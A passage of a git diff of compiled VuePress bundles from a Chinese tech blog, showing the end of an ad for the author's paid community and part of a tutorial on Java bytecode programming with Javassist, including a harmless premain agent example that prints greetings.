"),t("p",[a._v("7.可以发送你的简历到我的邮箱,提供简历批阅服务")]),a._v(" "),t("p",[a._v("8.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),a._v(" "),t("p",[a._v("9.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),a._v(" "),t("p",[a._v("10.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),a._v(" "),t("h3",{attrs:{id:"星球门票价格"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[a._v("#")]),a._v(" 星球门票价格")]),a._v(" "),t("p",[a._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),a._v(" "),t("p",[t("strong",[a._v("特别提醒:")]),a._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),a._v(" "),t("p",[a._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),t("strong",[a._v("冰河技术")]),a._v(" 公众号回复 “ "),t("strong",[a._v("星球")]),a._v(" ” ,领取入场优惠券。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),a._v(" "),t("p",[t("strong",[a._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),a._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[a._v("#")]),a._v(" 写在最后")]),a._v(" "),t("blockquote",[t("p",[a._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=i.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-339.js b/assets/js/cg-339.js index 1e71bb47d0eb2382194db64af4e95394977b268c..653150c0abd56d6e5eb71594c238bf76cc8e88f9 100644 --- a/assets/js/cg-339.js +++ b/assets/js/cg-339.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[339],{630:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"字节码编程-工作多年的你依然重复做着crud-是否接触过这种技术"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程-工作多年的你依然重复做着crud-是否接触过这种技术"}},[s._v("#")]),s._v(" 字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("p",[s._v("最近和不少小伙伴聊天,发现大部分小伙伴,其中可能就包括正在看文章的你和我,工作时间已经不短了,有些小伙伴工作3~5年了,有些甚至超过8年了。")]),s._v(" "),a("p",[s._v("但是大部分小伙伴平时的工作都是在简单的做着CRUD,疲于应付日常工作中的业务开发和修复系统Bug,每天都会加班到很晚。根本没时间去提升自己的技术能力,久而久之,自己的技术能力和工作年限出现了严重的不匹配现象。")]),s._v(" "),a("h2",{attrs:{id:"题外话"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#题外话"}},[s._v("#")]),s._v(" 题外话")]),s._v(" "),a("p",[s._v("其实,针对这些情况,有不少小伙伴曾不只一次的问过我:"),a("strong",[s._v("冰河,我感觉我的职业生涯很迷茫,能给我点建议吗?我工作时间不短了,整天做一些CRUD的工作,根本没时间学习啊!")])]),s._v(" "),a("p",[s._v("说实话,在互联网这个行业里,每个人或多或少的都会有过这种迷茫的阶段吧,我也有过。只不过我会让这种迷茫的感觉瞬间消失,更过的是去思考究竟是什么让我产生了这种迷茫的感觉?是技术能力?是业务理解?是人际交往?是职场规则?等等。。。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/fc82a5602bb439d17d9ca9423862c1db.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("我会把这些可能导致我迷茫的因素结合自身的实际情况进行深度分析:")]),s._v(" "),a("ul",[a("li",[s._v("如果是技术能力不足导致我产生了迷茫感,那我就会抓住一切可利用的业余时间提升自身技术能力。")]),s._v(" "),a("li",[s._v("如果是对公司的业务理解不足导致的迷茫感,那我就会加强对业务的理解,不断熟悉、推演、反复论证。")]),s._v(" "),a("li",[s._v("如果是人际交往存在问题导致的迷茫感,那我就会加强对于人际关系的处理能力。")]),s._v(" "),a("li",[s._v("如果是不熟悉职场规则导致的迷茫感,那我就会加强个人的职场素养。")]),s._v(" "),a("li",[s._v("消灭导致迷茫感的其他因素。")])]),s._v(" "),a("p",[s._v("所以,小伙伴们产生迷茫感并不重要,重要的是要分析出让你产生迷茫感的因素有哪些,是外在因素还是内在因素。找到让你产生迷茫感的因素之后,再将这些问题逐渐分解,慢慢提升自己缺乏的某种技能。这个过程或许比较漫长,可能需要几天,几个星期或者几个月的时间,这就需要各位小伙伴们要踏下心来慢慢沉淀和积累了。")]),s._v(" "),a("p",[s._v("冰河送给大家一句话:"),a("strong",[s._v("持之以恒,贵在坚持,每天进步一点点。")])]),s._v(" "),a("p",[s._v("说了这么多,算是对正在处于迷茫期的小伙伴们的一点小小的建议吧。")]),s._v(" "),a("p",[s._v("好了,为了帮助小伙伴们尽快的度过迷茫期,冰河希望能够在技术上更多的帮助到大家,从今天开始,为大家分享一些关于字节码编程的知识,这或许是你一直从事CRUD工作根本没有接触过的。")]),s._v(" "),a("h2",{attrs:{id:"动态字节码技术"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#动态字节码技术"}},[s._v("#")]),s._v(" 动态字节码技术")]),s._v(" "),a("p",[s._v("了解Java的小伙伴都知道,我们使用Java编写的代码是需要编译成字节码之后才能在JVM中运行的,而字节码一旦被加载到JVM的内存中,就可以被解释执行了。而Java源代码并编译后往往会生成对应的class文件,其实只要是文件,或多或少的就可以被修改。")]),s._v(" "),a("p",[s._v("如果我们使用某种技术按照某种规则对字节码文件进行了修改,重新定义了字节码的执行逻辑,或者加上我们自己的逻辑,这样不就改变了原有代码的执行逻辑吗?")]),s._v(" "),a("p",[s._v("除了修改原有的字节码之外,我们也可以利用动态字节码技术来动态创建一个新的类,使其完成我们想要的业务逻辑。")]),s._v(" "),a("p",[s._v("动态字节码的优势就是可以不改变之前的源代码,在程序生成字节码后,对生成的字节码进行修改,或者在运行期间动态生成新的类或者方法,可以真正的做到零侵入。")]),s._v(" "),a("h2",{attrs:{id:"如何实现字节码编程"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#如何实现字节码编程"}},[s._v("#")]),s._v(" 如何实现字节码编程")]),s._v(" "),a("p",[s._v("在Java领域,有很多可以实现动态修改字节码的技术,比较流行的应该有三个:ASM、Javassist和Bute-buddy。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/6295c2fee7b6849958744b5ac31abc32.png",loading:"lazy"}})]),s._v(" "),a("ul",[a("li",[s._v("ASM:直接操作字节码的指令,执行的效率比较高,但是要求使用者提前掌握Java字节码文件的格式和指令,对于使用者的要求比较高。")]),s._v(" "),a("li",[s._v("Javassist:提供了高级的API,执行的效率和ASM相比,相对要差一些,但是无需了解Java字节码的格式和指令,对于使用者的要求比较低。")]),s._v(" "),a("li",[s._v("Bute-buddy:提供了高级的API,执行的效率和ASM相比,相对要差一些,但是无需了解Java字节码的格式和指令,对于使用者的要求比较低。")])]),s._v(" "),a("h2",{attrs:{id:"字节码编程使用场景"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程使用场景"}},[s._v("#")]),s._v(" 字节码编程使用场景")]),s._v(" "),a("p",[s._v("试想,某天,你正坐在工位上愉快的敲着Bug,此时你的技术领导让你实现这样一个需求:在程序的运行期间,向某个类的某个方法的前面和后面加入某段业务代码,或者根据具体的业务场景替换掉某个方法的执行逻辑。你的领导又特别对你提醒了一句:"),a("strong",[s._v("注意是在运行期间动态修改,要作者零侵入,不要在源代码的基础上修改。")])]),s._v(" "),a("p",[s._v("听到这个需求时,你或者会想到Spring的AOP代理技术,没错,Spring的AOP代理技术确实可以实现这个需求。但是这样做需要在被代理的方法上添加注解,修改了原有的代码,不符合需求。另外,使用Spring的AOP技术的性能会比字节码编程低。")]),s._v(" "),a("p",[s._v("此外,大量的开源框架底层也使用到了字节码编程技术。例如,阿里开源的Dubbo、Arthas等。")]),s._v(" "),a("p",[s._v("字节码编程还有一个非常重要的核心应用场景——APM(应用性能管理)的实现。后面冰河会带着大家手撸一个完整的可使用的APM系统。")]),s._v(" "),a("h2",{attrs:{id:"入门案例"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#入门案例"}},[s._v("#")]),s._v(" 入门案例")]),s._v(" "),a("h3",{attrs:{id:"开发环境"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#开发环境"}},[s._v("#")]),s._v(" 开发环境")]),s._v(" "),a("ul",[a("li",[s._v("JDK 1.8")]),s._v(" "),a("li",[s._v("IDEA 2018.03")])]),s._v(" "),a("h3",{attrs:{id:"完整代码"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#完整代码"}},[s._v("#")]),s._v(" 完整代码")]),s._v(" "),a("p",[s._v("冰河已将本文章的完整案例代码提交到了GitHub和Gitee,目前正在已案例的形式持续更新,后面会基于字节码编程实现一个可用的APM系统。")]),s._v(" "),a("blockquote",[a("p",[s._v("GitHub:https://github.com/sunshinelyz/bytecode")]),s._v(" "),a("p",[s._v("Gitee:https://gitee.com/binghe001/bytecode")])]),s._v(" "),a("p",[a("strong",[s._v("本文对应的案例代码为:bytecode-javassist-01。如果文章对你有点帮助,小伙伴们在GitHub和Gitee上点个Star呀~~")])]),s._v(" "),a("h3",{attrs:{id:"案例效果"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#案例效果"}},[s._v("#")]),s._v(" 案例效果")]),s._v(" "),a("p",[s._v("在main()方法运行之前运行premain()方法。")]),s._v(" "),a("h3",{attrs:{id:"动手实践"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#动手实践"}},[s._v("#")]),s._v(" 动手实践")]),s._v(" "),a("p",[s._v("这个入门案例,我们先使用Javassist实现。创建Maven工程 "),a("code",[s._v("bytecode-javassist-01")]),s._v(", 在pom.xml文件中引入Javassist相关的依赖。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("properties")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("javassist.version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("3.20.0-GA"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependencies")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.javassist"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${javassist.version}"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("添加项目构建模块,指定项目的"),a("code",[s._v("Premain-Class")]),s._v("。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("build")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("plugins")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("plugin")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.maven.plugins"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("maven-jar-plugin"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("2.2"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("configuration")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("archive")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("manifestEntries")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Project-name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${project.name}"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Project-version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${project.version}"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Premain-Class")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("io.binghe.bytecode.javassist.test.Premain"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Boot-Class-Path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist-3.20.0-GA.jar"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Can-Redefine-Classes")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("false"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("skip")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("true"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br")])]),a("p",[s._v("创建Main类。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description Javassist的第一个测试程序\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Main")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"hello main"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("创建Premain类。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description 第一个pemain程序,在main方法前面执行\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Premain")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("premain")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"hello premain"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" 